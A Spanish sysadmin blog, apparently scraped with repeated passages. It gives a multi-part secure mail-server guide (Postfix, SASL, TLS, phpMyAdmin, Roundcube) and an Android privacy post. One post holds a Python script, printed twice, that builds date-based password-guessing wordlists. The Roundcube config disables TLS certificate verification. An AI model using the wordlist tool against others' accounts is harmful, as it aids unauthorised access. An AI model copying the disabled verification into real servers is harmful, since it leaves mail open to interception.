Fuck Google!
miércoles, 7 de diciembre de 2016
Nuevo Sitio, nuevo blog
Bueno, pues eso. Nuevo sitio, nuevo blog, nuevas ideas, nuevos proyectos.
Fuck Google!
Fuck Google!
domingo, 13 de diciembre de 2015
Próximamente...
¿Qué hacer cuando un haxor de pro toca los huevos a tu servidor un domingo por la tarde?
Pues si, todavía siguen intentando ataques con diccionario para usuarios y contraseñas...
Así al menos he recordado que me quedaba por hacer una entrada sobre firewalls y otras defensas que poder implementar a nuestro servidor de correo.
Pues si, todavía siguen intentando ataques con diccionario para usuarios y contraseñas...
Así al menos he recordado que me quedaba por hacer una entrada sobre firewalls y otras defensas que poder implementar a nuestro servidor de correo.
martes, 8 de diciembre de 2015
Servidor Mail Seguro parte VI
Haciendo todo más "user-friendly":
Como sabemos, los que hayan seguido esta guía, a estas alturas ya tenemos un servidor de correo electrónico perfectamente funcional, formado por varias capas que escuchan, reciben, redirigen, analizan, filtran, almacenan y envían e-mails de forma (si todo ha ido bien) segura y eficiente. Para quienes necesiten volver sobre otros posts o bien empezar por el principio, dejo aquí un pequeño índice con lo publicado hasta ahora.
- Servidor Mail Seguro parte I: Aquí aprendíamos a instalar y configurar una base de datos MySQL que nos servirá para almacenar datos de usuarios, dominios y alias virtuales. Creábamos el usuario, base de datos y tablas pertinentes para su posterior uso y os dejaba un enlace a un libro para profundizar en este lenguaje para bases de datos.
- Servidor Mail Seguro parte II: En este post instalábamos y configurábamos el MTA (Mail Transport Protocol) que se encarga de enviar y recibir el correo de nuestro servidor. Para este fin utilizábamos el programa Postfix y lo dejábamos listo para interactuar con MySql.
- Servidor Mail Seguro parte III: Seguíamos con el servicio encargado de permitir la interacción de los clientes externos de correo con el servidor; IMAP (Internet Message Access Protocol). Para ello instalábamos y preparábamos el programa Courier junto a su funcionalidad para MySQL y SSL.
- Servidor Mail Seguro parte IV: El modo de gestionar y filtrar el contenido de los correos que llegarán a nuestro servidor es crucial si nos preocupamos por la seguridad del mismo así como la de nuestros clientes. ClamAV, Spam Assassin y Postgrey son tres añadidos para proporcionar un control sobre esto, y junto con Amavis, que se encarga de la comunicación y gestión entre el MTA y los filtros, se explican en este post.
- Servidor Mail Seguro parte V: Para terminar lo que sería la parte mas imprescindible del proyecto, aquí explicaba la implementación de cifrados y capas de autenticación por medio de SASL y TLS.
- Servidor Mail Seguro anexo I: Es difícil, en esto de la administración de sistemas, lograr que un nuevo servicio funcione de manera correcta a la primera. Por ello, esta sección, se la dedicaba a la comprobación y los errores que podían ir surgiendo a lo largo de la guía.
Entrando en el meollo del que quería tratar aquí, no estaría de más implementar algún añadido que facilitara la vida tanto a los usuarios como a los administradores.
Con esto quedará instalado y configurado nuestro administrador PHP, a flata de activarlo en la configuración de Apache, también vamos a activar el módulo mcrypt de PHP5 que cifrará las conexiones entre los distintos servicios. Para ello ejecutamos los siguiente comandos:
Ahora, si abrimos un navegador y nos dirigimos a http://<dirección de nuestra máquina>/phpmyadmin aparecerá la página de bienvenida requiriéndonos las credenciales de acceso.
Su uso es bastante intuitivo y no lo explicaré aquí. Si se requiere una guía, este enlace nos lleva a una página con documentación en castellano.
No obstante aún no hemos terminado con la aplicación. Si nuestro servidor va a estar accesible desde internet, hemos de implementar un par de medidas de seguridad que protejan nuestro servidor de intentos de acceso no autorizados.
Primero nos vendría bastante bien cambiar la dirección de phpMyAdmin a algo menos obvio que dificulte en cierta manera encontrar la aplicación en el servidor para alguien inexperto. Para ello entraremos en el fichero de configuración de apache /etc/phpmyadmin/apache.conf y, en el bloque referente al alias, cambiaremos /phpmyadmin por algo distinto y a la que tendremos que dirigirnos para entrar en la aplicación.
Donde cambiamos a:
En Debian:
Creamos directorio de instalación
Descargamos el paquete con wget y descomprimimos con tar:
Movemos lo descomprimido a la carpeta creada y eliminamos el directorio rouncubemail-1.1.3 y el archivo comprimido.
Cambiamos el propietario.
Importamos las tablas de RoundCube desde el archivo mysql.initial.sql hasta la nueva base de datos:
Entramos en la carpeta de configuración y copiamos el archivo de ejemplo para después editarlo:
Buscamos la linea que se encarga de la base de datos, comienza por $config['dsnw']. Ponemos la contraseña que creamos para el usuario RoundCube en mysql dejándolo como sigue:
Ahora le toca a Apache. Creamos el siguiente fichero en la carpeta conf-aviable:
Con lo siguiente:
Ahora podremos acceder al servicio con los dos Alias declarados al principio del archivo (webmail y roundcube) si guardamos, cargamos y reinicamos apache:
Con esto doy por terminada esta sección. Quizá con el tiempo vaya agregando alguna que otra cosa al manual pero, de momento, si todo ha ido bien, ya tenemos cumplidos los objetivos marcados así que:
Un saludo y hasta otra.
- Servidor Mail Seguro parte III: Seguíamos con el servicio encargado de permitir la interacción de los clientes externos de correo con el servidor; IMAP (Internet Message Access Protocol). Para ello instalábamos y preparábamos el programa Courier junto a su funcionalidad para MySQL y SSL.
- Servidor Mail Seguro parte IV: El modo de gestionar y filtrar el contenido de los correos que llegarán a nuestro servidor es crucial si nos preocupamos por la seguridad del mismo así como la de nuestros clientes. ClamAV, Spam Assassin y Postgrey son tres añadidos para proporcionar un control sobre esto, y junto con Amavis, que se encarga de la comunicación y gestión entre el MTA y los filtros, se explican en este post.
- Servidor Mail Seguro parte V: Para terminar lo que sería la parte mas imprescindible del proyecto, aquí explicaba la implementación de cifrados y capas de autenticación por medio de SASL y TLS.
- Servidor Mail Seguro anexo I: Es difícil, en esto de la administración de sistemas, lograr que un nuevo servicio funcione de manera correcta a la primera. Por ello, esta sección, se la dedicaba a la comprobación y los errores que podían ir surgiendo a lo largo de la guía.
Entrando en el meollo del que quería tratar aquí, no estaría de más implementar algún añadido que facilitara la vida tanto a los usuarios como a los administradores.
phpMyAdmin
Una de las cosas que facilitarán el uso de este servidor es phpMyAdmin. A la hora de gestionar nuestra base de datos, puede resultar algo complicado, al menos para los iniciados, hacer todas las tareas desde la línea de comandos. Es de agradecer este programa que, sirviéndose de PHP, se ejecuta en un servidor web y permite la administración de MySQL desde una interfaz gráfica y sencilla. Es obvio que para que todo esto funcione debemos de tener instalado también un servidor web, en esta guía utilizaremos Apache. Para instalarlo junto con phpMyAdmin en sistemas Debian/Ubuntu tecleamos lo siguiente:
sudo apt-get install phpmyadmin apache2 apache2-utils
Aceptamos la creacción de la base de datos necesaria para phpmyadmin y damos la contraseña de superusuario (root) de MySQL que creamos en el primer apartado de la guia. La siguiente pantalla nos requerirá una nueva contraseña para el usuario phpmyadmin y tras la confirmación se nos preguntará que servidor web vamos a utilizar para proceder a la configuración automática, en nuestro caso apache2.Con esto quedará instalado y configurado nuestro administrador PHP, a flata de activarlo en la configuración de Apache, también vamos a activar el módulo mcrypt de PHP5 que cifrará las conexiones entre los distintos servicios. Para ello ejecutamos los siguiente comandos:
sudo a2enconf phpmyadmin
sudo php5enmod mcrypt
sudo /etc/init.d/apache2 restart
Ahora, si abrimos un navegador y nos dirigimos a http://<dirección de nuestra máquina>/phpmyadmin aparecerá la página de bienvenida requiriéndonos las credenciales de acceso.
Su uso es bastante intuitivo y no lo explicaré aquí. Si se requiere una guía, este enlace nos lleva a una página con documentación en castellano.
No obstante aún no hemos terminado con la aplicación. Si nuestro servidor va a estar accesible desde internet, hemos de implementar un par de medidas de seguridad que protejan nuestro servidor de intentos de acceso no autorizados.
Primero nos vendría bastante bien cambiar la dirección de phpMyAdmin a algo menos obvio que dificulte en cierta manera encontrar la aplicación en el servidor para alguien inexperto. Para ello entraremos en el fichero de configuración de apache /etc/phpmyadmin/apache.conf y, en el bloque referente al alias, cambiaremos /phpmyadmin por algo distinto y a la que tendremos que dirigirnos para entrar en la aplicación.
sudo nano /etc/phpmyadmin/apache.conf
Donde cambiamos a:
Alias /<loquesea> /usr/share/phpmyadmin
El siguiente paso será añadir un nivel de autenticación adicional con .htaccess . Para ello vamos a editar el fichero de configuración del sitio en Apache:
sudo nano /etc/phpmyadmin/apache.conf
Donde buscamos la sección:<Directory /usr/share/phpmyadmin>
Options FollowSymLinks
DirectoryIndex index.php
Y añadimos justo debajo la siguiente línea:
AllowOverride All
Cerramos y guardamos el fichero para despues reiniciar Apache.
sudo /etc/init.d/apache2 restart
Vamos a crear el fichero htaccess encargado de la configuración de acceso:
sudo nano /usr/share/phpmyadmin/.htaccess
Donde escribiremos lo siguiente:
AuthType Basic
AuthName "Acceso restringido"
AuthUserFile /etc/phpmyadmin/.htpasswd
Require valid-user
Aquí dejo una guía en profundidad sobre htaccess para aquellos que quieran saber más sobre el tema. Lo siguiente será crear un usuario con htpasswd:
sudo htpasswd -c /etc/phpmyadmin/.htpasswd <TU USUARIO>
Se nos requerirá una contraseña para el nuevo usuario y las credenciales se guardarán cifradas en .htpasswd dentro de la carpeta de phpMyAdmin. Para añadir usuarios adicionales emplearemos el mismo comando pero sin el atributo -c. Ahora, si nos dirigimos con un navegador a phpMyAdmin (Acordarse de que le dimos un nuevo alias) se nos requerirá un usuario y contraseña para poder acceder a este.
Roundcube
Roundcube es un agente de correo web, que permitirá a nuestros usuarios acceder y gestionar su correo por medio de nuestro servidor web. En un principio pensé en llevar a cabo esta tarea por medio de SquirrelMail pero su diseño, mayor soporte y las ganas de probar algo nuevo me han llevado a elegir Roundcube para este fin. Para instalarlo en Ubuntu (Para Debian lo detallo más adelante) basta con:
sudo apt-get install roundcube roundcube-mysql roundcube-plugins
Nos preguntará si queremos configurar el acceso a la base de datos, elegimos que si y posteriormente que queremos hacerlo por MySQL. Nos preguntará por la contraseña de root de nuestra base de datos y luego por la que queramos elegir para el usuario roundcube que creará. En Debian:
Creamos directorio de instalación
mkdir /opt/roundcube
cd /opt/roundcube
Descargamos el paquete con wget y descomprimimos con tar:
wget https://downloads.sourceforge.net/project/roundcubemail/roundcubemail/1.1.3/roundcubemail-1.1.3-complete.tar.gz
tar xfz roundcubemail-1.1.3-complete.tar.gz
Movemos lo descomprimido a la carpeta creada y eliminamos el directorio rouncubemail-1.1.3 y el archivo comprimido.
mv roundcubemail-1.1.3/* .
mv roundcubemail-1.1.3/.htaccess .
rmdir roundcubemail-1.1.3
rm roundcubemail-1.1.3-complete.tar.gz
Cambiamos el propietario.
chown -R www-data:www-data /opt/roundcube
Ahora creamos la base de datos en mysql:
mysql -u root -pCREATE DATABASE roundcubemail;
GRANT ALL PRIVILEGES ON roundcubemail.* TO roundcube@localhost IDENTIFIED BY 'TU_CONTRASEÑA_AQUI';
flush privileges;
quit;
Importamos las tablas de RoundCube desde el archivo mysql.initial.sql hasta la nueva base de datos:
mysql --defaults-file=/etc/mysql/debian.cnf roundcubemail < /opt/roundcube/SQL/mysql.initial.sql
Entramos en la carpeta de configuración y copiamos el archivo de ejemplo para después editarlo:
cd /opt/roundcube/config
cp -pf config.inc.php.sample config.inc.php
nano config.inc.php
Buscamos la linea que se encarga de la base de datos, comienza por $config['dsnw']. Ponemos la contraseña que creamos para el usuario RoundCube en mysql dejándolo como sigue:
$config['db_dsnw'] = 'mysql://roundcube:TU_CONTRASEÑA_AQUI@localhost/roundcubemail';
Buscamos el siguiente parámetro: smtp_server y dejamos la linea así:
$config['smtp_server'] = 'localhost';
Para configurar nuestras conexiones por medio de ssl añadimos lo siguiente:
$config['default_host'] = 'ssl://<NOMBRE_DE_DOMINIO_DE_TU_CRT>';
$config['default_port'] = 993;
$config['imap_auth_type'] = PLAIN;
$config['imap_conn_options'] = array(
'ssl' => array(
'verify_peer' => false,
'verfify_peer_name' => false,
);
Ahora le toca a Apache. Creamos el siguiente fichero en la carpeta conf-aviable:
nano /etc/apache2/conf-available/roundcube.conf
Con lo siguiente:
Alias /roundcube /opt/roundcube
Alias /webmail /opt/roundcube
<Directory /opt/roundcube>
Options +FollowSymLinks
# AddDefaultCharset UTF-8
AddType text/x-component .htc
<IfModule mod_php5.c>
AddType application/x-httpd-php .php
php_flag display_errors Off
php_flag log_errors On
# php_value error_log logs/errors
php_value upload_max_filesize 10M
php_value post_max_size 12M
php_value memory_limit 64M
php_flag zlib.output_compression Off
php_flag magic_quotes_gpc Off
php_flag magic_quotes_runtime Off
php_flag zend.ze1_compatibility_mode Off
php_flag suhosin.session.encrypt Off
#php_value session.cookie_path /
php_flag session.auto_start Off
php_value session.gc_maxlifetime 21600
php_value session.gc_divisor 500
php_value session.gc_probability 1
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^favicon\.ico$ skins/larry/images/favicon.ico
# security rules:
# - deny access to files not containing a dot or starting with a dot
# in all locations except installer directory
RewriteRule ^(?!installer)(\.?[^\.]+)$ - [F]
# - deny access to some locations
RewriteRule ^/?(\.git|\.tx|SQL|bin|config|logs|temp|tests|program\/(include|lib|localization|steps)) - [F]
# - deny access to some documentation files
RewriteRule /?(README\.md|composer\.json-dist|composer\.json|package\.xml)$ - [F]
</IfModule>
<IfModule mod_deflate.c>
SetOutputFilter DEFLATE
</IfModule>
<IfModule mod_expires.c>
ExpiresActive On
ExpiresDefault "access plus 1 month"
</IfModule>
FileETag MTime Size
<IfModule mod_autoindex.c>
Options -Indexes
</ifModule>
AllowOverride None
Require all granted
</Directory>
<Directory /opt/roundcube/plugins/enigma/home>
Options -FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /opt/roundcube/config>
Options -FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /opt/roundcube/temp>
Options -FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /opt/roundcube/logs>
Options -FollowSymLinks
AllowOverride None
Require all denied
</Directory>
Ahora podremos acceder al servicio con los dos Alias declarados al principio del archivo (webmail y roundcube) si guardamos, cargamos y reinicamos apache:
a2enconf roundcube
service apache2 reload
Con esto doy por terminada esta sección. Quizá con el tiempo vaya agregando alguna que otra cosa al manual pero, de momento, si todo ha ido bien, ya tenemos cumplidos los objetivos marcados así que:
Un saludo y hasta otra.
sábado, 5 de diciembre de 2015
Bailando entre serpientes.
Pues eso, un poco de código para no oxidarse.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Dec 5 18:26:11 2015
@author: chaosnet
"""
def diccionario_fechas(separador, formato_meses, orden):
"""Devuelve un diccionario basado en combinaciones de fechas delimitado
por un separador. Toma los parámetro 'separador' como cadena de texto entre
los días, años y meses, 'formato_meses' con valor 'nombre, numero,
m_abreviado, a_abreviado_nombre, a_abreviado_numero o t_abreviado' en
función de como quieran representarse y 'orden' con las combinaciones de
dma (dia, mes, año)"""
diccio = []
dias = [x for x in range(1, 32)]
meses_nombre = ["enero", "febrero", "marzo", "abril", "mayo", "junio", "julio",
"agosto", "septiembre", "octubre", "noviembre", "diciembre"]
meses_numero = [x for x in range(1,13)]
años = [x for x in range(1945, 2015)]
años_abr = [x for x in range(10,100)]
años09 = [x for x in range(0,10)]
for p in años09:
años_abr.append("0" + str(p))
# Declaramos los casos del parámetro 'formato_meses'
if formato_meses == "nombre":
meses = meses_nombre
elif formato_meses == "numero":
meses = meses_numero
elif formato_meses == "m_abreviado":
meses = []
for m in meses_nombre:
meses.append(str(m[0:3:]))
elif formato_meses == "a_abreviado_nombre":
años = años_abr
meses = meses_nombre
elif formato_meses == "a_abreviado_numero":
años = años_abr
meses = meses_numero
elif formato_meses == "t_abreviado":
años = años_abr
meses = []
for m in meses_nombre:
meses.append(str(m[0:3:]))
else:
print("El parámetro 'formato_meses' a de ser 'nombre' o 'numero'")
return None
# Declaramos los casos del parámetro 'orden'
if orden == "dma":
a = dias
b = meses
c = años
elif orden == "mad":
a = meses
b = años
c = dias
elif orden == "adm":
a = años
b = dias
c = meses
elif orden == "mda":
a = meses
b = dias
c = años
elif orden == "dam":
a = dias
b = años
c = meses
elif orden == "amd":
a = años
b = meses
c = dias
else:
print("El parametro orden es incorrecto. Introduzca una cadena tipo 'dma' donde d es dias, m meses y a años.")
return None
# Concatenamos las cadenas generando el diccionario.
for a1 in a:
for b1 in b:
for c1 in c:
diccio.append(str(a1) + separador + str(b1) + separador + str(c1))
return diccio
# Aquí se define como actuará si se le llama como principal con argumentos de entrada
if __name__ == '__main__':
import sys
if len(sys.argv) != 4:
print("Error: Número de parámetros erroneo.")
print("Utilización: {} 'separador' 'formato_meses' 'orden'.".format(sys.argv[0]))
print(""" 'Formato_meses', meses y años (nombre, numero,
m_abreviado, a_abreviado_nombre, a_abreviado_numero o t_abreviado)""")
print(" 'Orden'. Combinaciones dia, mes, año (dma).")
else:
try:
with open("diccionario_fechas.txt", "w") as fd:
fd.write(" ".join(diccionario_fechas(sys.argv[1], sys.argv[2], sys.argv[3])))
print("""Se ha creado el diccionario y ha sido guardado con el nombre de 'diccionario_fechas.txt'""")
except IOError:
print("""Algo falló al generar el fichero con la lista de palabras.
Compruebe que tiene permisos de escritura en el directorio de trabajo actual""")
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Dec 5 18:26:11 2015
@author: chaosnet
"""
def diccionario_fechas(separador, formato_meses, orden):
"""Devuelve un diccionario basado en combinaciones de fechas delimitado
por un separador. Toma los parámetro 'separador' como cadena de texto entre
los días, años y meses, 'formato_meses' con valor 'nombre, numero,
m_abreviado, a_abreviado_nombre, a_abreviado_numero o t_abreviado' en
función de como quieran representarse y 'orden' con las combinaciones de
dma (dia, mes, año)"""
diccio = []
dias = [x for x in range(1, 32)]
meses_nombre = ["enero", "febrero", "marzo", "abril", "mayo", "junio", "julio",
"agosto", "septiembre", "octubre", "noviembre", "diciembre"]
meses_numero = [x for x in range(1,13)]
años = [x for x in range(1945, 2015)]
años_abr = [x for x in range(10,100)]
años09 = [x for x in range(0,10)]
for p in años09:
años_abr.append("0" + str(p))
# Declaramos los casos del parámetro 'formato_meses'
if formato_meses == "nombre":
meses = meses_nombre
elif formato_meses == "numero":
meses = meses_numero
elif formato_meses == "m_abreviado":
meses = []
for m in meses_nombre:
meses.append(str(m[0:3:]))
elif formato_meses == "a_abreviado_nombre":
años = años_abr
meses = meses_nombre
elif formato_meses == "a_abreviado_numero":
años = años_abr
meses = meses_numero
elif formato_meses == "t_abreviado":
años = años_abr
meses = []
for m in meses_nombre:
meses.append(str(m[0:3:]))
else:
print("El parámetro 'formato_meses' a de ser 'nombre' o 'numero'")
return None
# Declaramos los casos del parámetro 'orden'
if orden == "dma":
a = dias
b = meses
c = años
elif orden == "mad":
a = meses
b = años
c = dias
elif orden == "adm":
a = años
b = dias
c = meses
elif orden == "mda":
a = meses
b = dias
c = años
elif orden == "dam":
a = dias
b = años
c = meses
elif orden == "amd":
a = años
b = meses
c = dias
else:
print("El parametro orden es incorrecto. Introduzca una cadena tipo 'dma' donde d es dias, m meses y a años.")
return None
# Concatenamos las cadenas generando el diccionario.
for a1 in a:
for b1 in b:
for c1 in c:
diccio.append(str(a1) + separador + str(b1) + separador + str(c1))
return diccio
# Aquí se define como actuará si se le llama como principal con argumentos de entrada
if __name__ == '__main__':
import sys
if len(sys.argv) != 4:
print("Error: Número de parámetros erroneo.")
print("Utilización: {} 'separador' 'formato_meses' 'orden'.".format(sys.argv[0]))
print(""" 'Formato_meses', meses y años (nombre, numero,
m_abreviado, a_abreviado_nombre, a_abreviado_numero o t_abreviado)""")
print(" 'Orden'. Combinaciones dia, mes, año (dma).")
else:
try:
with open("diccionario_fechas.txt", "w") as fd:
fd.write(" ".join(diccionario_fechas(sys.argv[1], sys.argv[2], sys.argv[3])))
print("""Se ha creado el diccionario y ha sido guardado con el nombre de 'diccionario_fechas.txt'""")
except IOError:
print("""Algo falló al generar el fichero con la lista de palabras.
Compruebe que tiene permisos de escritura en el directorio de trabajo actual""")
miércoles, 7 de octubre de 2015
Servidor Mail Seguro parte V
Asegurando nuestro servidor.
En lo que llevamos de guía (MySQL parte I, Postfix parte II, Courier parte III, Chequeadores parte IV y pruebas Anexo I), deberíamos tener ya un servidor de correo perfectamente funcional y probado que utiliza usuarios virtuales gestionados por MySQL. Pero no hemos acabado aún con él. En este punto, la autenticación y los correos que se envían y reciben en el servidor viajan en texto plano. Esto quiere decir que en caso de que alguien espiara el proceso, podría obtener las calves o el contenido de los mensajes directamente. En este blog, naturalmente, no vamos a correr ese riesgo y vamos a implantar medidas para cifrar todo el contenido susceptible de ser interceptado por algún posible atacante.SASL
SASL cumplirá el papel de negociar, de manera externa a Postfix, los modos de autenticación de usuarios así como negociar su cifrado combinado con TLS.Empezamos instalándolo, así como sus librerías:sudo apt-get install libsasl2-modules libsasl2-modules-sql libgsasl7 libauthen-sasl-cyrus-perl sasl2-bin libpam-mysqlSeguimos con su configuración. Lo primero que haremos es otorgar permisos a Postfix para hacer posible su comunicación con SASL:
sudo adduser postfix saslCreamos un directorio accesible desde el chroot de Postfix, para SASL.
sudo mkdir -p /var/spool/postfix/var/run/saslauthdAhora editamos el archivo de configuración de Postfix para habilitar las características de autenticación con SASL.
sudo nano /etc/postfix/main.cfDonde añadimos las lineas siguientes:
# Habilitamos SASLSin salir del archivo buscamos y comprobamos las siguientes lineas en busca de la autenticación SASL (Ya deberían estar correctamente si se a copiado de anteriores post de esta guia):
smtpd_sasl_auth_enable = yes
# Si tus clientes van a utilizar Outlook Express o más antiguos
# esto necesitará ser cambiado a yes
broken_sasl_auth_clients = no
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain =
# Añadimos permit_sasl_authenticated a las existentesSalimos y guardamos main.cf y nos vamos a configurar en modo de arranque de SASL.
# reglas de smtpd_sender_restrictions
smtpd_sender_restrictions = permit_sasl_authenticated, permit_mynetworks, warn_if_reject reject_non_fqdn_sender, reject_unknown_sender_domain, reject_unauth_pipelining, permit
# Añadimos permit_sasl_authenticated a las existentes
# reglas de smtpd_recipient_restrictions
smtpd_recipient_restrictions = reject_unauth_pipelining, permit_mynetworks, permit_sasl_authenticated, reject_non_fqdn_recipient, reject_unknown_recipient_domain, reject_unauth_destination, check_policy_service inet:127.0.0.1:10023, permit
sudo nano /etc/default/saslauthdCambiamos lo siguiente:
START=yesLo siguiente es indicar a Postfix como trabajar con SASL
# Indicamos, en la última línea del fichero, el directorio de trabajo
# en el que creamos anteriormente dentro de spool de Postfix y
# añadimos -r para indicar que el domino es parte del nombre de usuario
OPTIONS="-r -c -m /var/spool/postfix/var/run/saslauthd"
sudo nano /etc/postfix/sasl/smtpd.confLo dejamos así:
pwcheck_method: saslauthdVamos a decirle al módulo PAM como autenticar al SMTP usando MySQL.
mech_list: plain login cram-md5 digest-md5
log_level: 7
allow_plaintext: true
auxprop_plugin: sql
sql_engine: mysql
sql_hostnames: 127.0.0.1
sql_user: mail
sql_passwd: mailPASS # Contraseña de tu usuario mail en MySQL
sql_database: maildb
sql_select: select crypt from users where id='%u@%r' and enabled = 1
sudo nano /etc/pam.d/smtp
# El siguiénte código ha de estar en dos líneas y hay que acordarse de sustiruir 'mailPASS' por nuestra contraseña del usuario mail en mySQL.
auth required pam_mysql.so user=mail passwd=mailPASS host=127.0.0.1 db=maildb table=users usercolumn=id passwdcolumn=crypt crypt=1Con esto hemos terminado la configuración de SASL en Postfix. Recomiendo poner a prueba su funcionamiento, mandando y recibiendo correo como se indica en el Anexo I pero estando atento a los registros de /var/log/mail.log , /var/log/mysql.log y /var/log/auth.log
account sufficient pam_mysql.so user=mail passwd=mailPASS host=127.0.0.1 db=maildb table=users usercolumn=id passwdcolumn=crypt crypt=1
Configurar a SASL para escuchar en las autenticaciones IMAP es algo absurdo ya que la idea es forzar a los usuarios a transmitir los datos de Courier encriptados por TLS así que no voy a profundizar en el tema. Simplemente para los que quieran utilizarlo, hay que editar /etc/courier/imapd y añadir o reemplazar la siguiente linea:
IMAP_CAPABILITY="IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA AUTH=CRAM-MD5 AUTH=CRAM-SHA1 IDLE"Una vez realizada la configuración de SASL, reiniciamos los servicios afectados:
sudo /etc/init.d/saslauthd restart
sudo /etc/init.d/postfix restart
TLS
TLS es el protocolo de encriptación que vamos a utilizar para transmitir los datos de nuestro servidor a traves de internet. Sin este protocolo de cifrado, tanto los mensajes como las credenciales de los usuarios se transmitirían a traves de la red en texto plano y legible por cualquier "mirón cotilla".En un principio, Ubuntu, crea para Postfix unos certificados que, si bien son úties en las pruebas y perfectamente funcionales, se recomienda cambiarlos por los nuestros a fin de dificultar su suplantación.
Para generar nuestros certificados (Uno para Postfix y otro para Courier) nos drigimos primero al directorio del servicio y allí procedemos a generarlo.
cd /etc/postfixEste comando nos servirá para generar una clave PEM encriptada con el algoritmo RSA de 2048 bits con una valided de casi 3 años, suficiente. Nos pedirá una serie de requisitos antes de hacerlo siendo estos; El código de el país (dos letras), estado o provincia, ciudad, compañía, nombre del dominio (FQDN) y e-mail. Lo anterior se puede dejar vacío o con valores por defecto pulsando intro, excepto el nombre del dominio para el que sirve la clave.
sudo openssl req -new -outform PEM -out postfix.cert -newkey rsa:2048 -nodes -keyout postfix.key -keyform PEM -days 999 -x509
El paso siguiente es indicar a Postfix que debe usar nuestros propios certificados y dónde encontrarlos. Para ello editamos su archivo de configuración:
sudo nano /etc/postfix/main.cfDonde cambiaremos las rutas y nos aseguraremos de que se use TLS:
smtpd_tls_cert_file=/etc/postfix/postfix.certAhora le toca al fichero master.cf donde buscaremos las líneas "smtps" y "submission" (el cual forzaremos también a usar TLS) asegurándonos que sean como sigue o cambiandolas en su defecto.
smtpd_tls_key_file=/etc/postfix/postfix.key
smtpd_use_tls=yes
submission inet n - n - - smtpdAhora seguimos con el otro certificado necesario; el de Courier. Como hemos hecho antes con Postfix, vamos a la carpeta de este y lo generamos:
-o smtpd_sasl_auth_enable=yes
# Si no quieres forzar a submission a utilizar únicamente TLS
# Añade un comentario a la siguiente línea
-o smtpd_tls_auth_only=yes
# -o smtpd_tls_security_level=encrypt
# -o header_checks=
# -o body_checks=<
-o smtpd_client_restrictions=permit_sasl_authenticated,reject_unauth_destination,reject
-o smtpd_sasl_security_options=noanonymous,noplaintext
-o smtpd_sasl_tls_security_options=noanonymous
# -o milter_macro_daemon_name=ORIGINATING<
smtps inet n - - - - smtpd
-o smtpd_tls_wrappermode=yes
-o smtpd_sasl_auth_enable=yes
-o smtpd_tls_auth_only=yes
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
-o smtpd_sasl_security_options=noanonymous,noplaintext
-o smtpd_sasl_tls_security_options=noanonymous
# -o milter_macro_daemon_name=ORIGINATING
cd /etc/courierY editamos su configuración para forzar TLS/SSL e indicar la ruta del certificado:
sudo openssl req -x509 -newkey rsa:1024 -keyout imapd.pem -out imapd.pem -nodes -days 999
sudo nano /etc/courier/imapd-sslCambiando a lo siguiente:
TLS_CERTFILE=/etc/courier/imapd.pemHasta aquí ya hemos configurado por completo el servidor de correo, quedaría reiniciar los servicios con la nueva configuración y probarlo todo (Anexo 1). No es poca cosa... No obstante esta no va a ser la última entrada de la guía ya que para un correcto funcionamiento y una fácil administración hace falta hablar de PHPmyAdmin y crear usuarios y alias necesarios para el correo local etc. Además quiero incluir el cliente web SquirrelMail para proporcionar acceso IMAP/POP3 a los usuarios por medio de nuestra web.
IMAP_TLS_REQUIRED=1
¡Hasta otra!
viernes, 31 de julio de 2015
Privacidad en Android.
Después de cierto tiempo de parón, voy a recuperar la actividad de este blog hablando sobre cómo blindar nuestras comunicaciones desde tabletas o teléfonos Android, de una forma sencilla y sin necesidad de tener permisos "root" en nuestro terminal.
Que la privacidad debe de ser una lucha constante para aquellos que usamos de manera consciente la tecnología, es un hecho sobre el que no voy a profundizar en esta entrada pero, aún así, creo que después de ver las reiteradas acciones "legales" contra usuarios de Twitter (Operación Araña I, II y III), las nuevas enmiendas legales contra la libertad del usuario (Sinde, Ley Mordaza, etc...) que ilegalizan aquello que muchos hacemos en internet (ver películas o series, descargar contenido protegido o meramente informar), el uso no consentido o indebidamente informado de nuestros datos personales, gustos, horas de conexión, localización... Todo ello hace que cada vez más, cualquier tipo de usuario de la red se preocupe por su privacidad y por quién podría estar interceptando sus comunicaciones.
https://play.google.com/store/apps/details?id=org.thoughtcrime.redphone
Tras aceptar los permisos (Usa lo justo y necesario para poder funcionar) ya la tendremos instalada y podremos proceder a registrar nuestro número de teléfono en su primera ejecución. Tras comprobarlo con un SMS, la aplicación estará lista y gracias a una interfaz intuitiva nos permitirá fácilmente conversar con otro usuario de nuestra lista de contactos que también tenga instalado Redphone en su terminal. Si no lo tuviese, la aplicación nos dará la opción de enviarle un SMS a fin de que la instale.
Mas info: https://ssd.eff.org/es/module/c%C3%B3mo-instalar-y-utilizar-chatsecure
Mas info: https://bitmask.net/es
Mas info: http://hipertextual.com/archivo/2014/02/tor-android-orbot/
Como nota a todo esto, comentar que son aplicaciones que, para un uso efectivo, requieren ejecutarse en segundo plano a fin de que sigan activas después del bloqueo de la pantalla pudiendo así recibir mensajes o gestionar las conexiones. Permitir esto, en algunos dispositivos, requiere de matizar algún que otro ajuste que depende del terminal. Si la aplicación se cierra automáticamente, busca en internet como permitir la ejecución en segundo plano.
¡Saludos!
Que la privacidad debe de ser una lucha constante para aquellos que usamos de manera consciente la tecnología, es un hecho sobre el que no voy a profundizar en esta entrada pero, aún así, creo que después de ver las reiteradas acciones "legales" contra usuarios de Twitter (Operación Araña I, II y III), las nuevas enmiendas legales contra la libertad del usuario (Sinde, Ley Mordaza, etc...) que ilegalizan aquello que muchos hacemos en internet (ver películas o series, descargar contenido protegido o meramente informar), el uso no consentido o indebidamente informado de nuestros datos personales, gustos, horas de conexión, localización... Todo ello hace que cada vez más, cualquier tipo de usuario de la red se preocupe por su privacidad y por quién podría estar interceptando sus comunicaciones.
Cifrando llamadas de voz, Redphone.
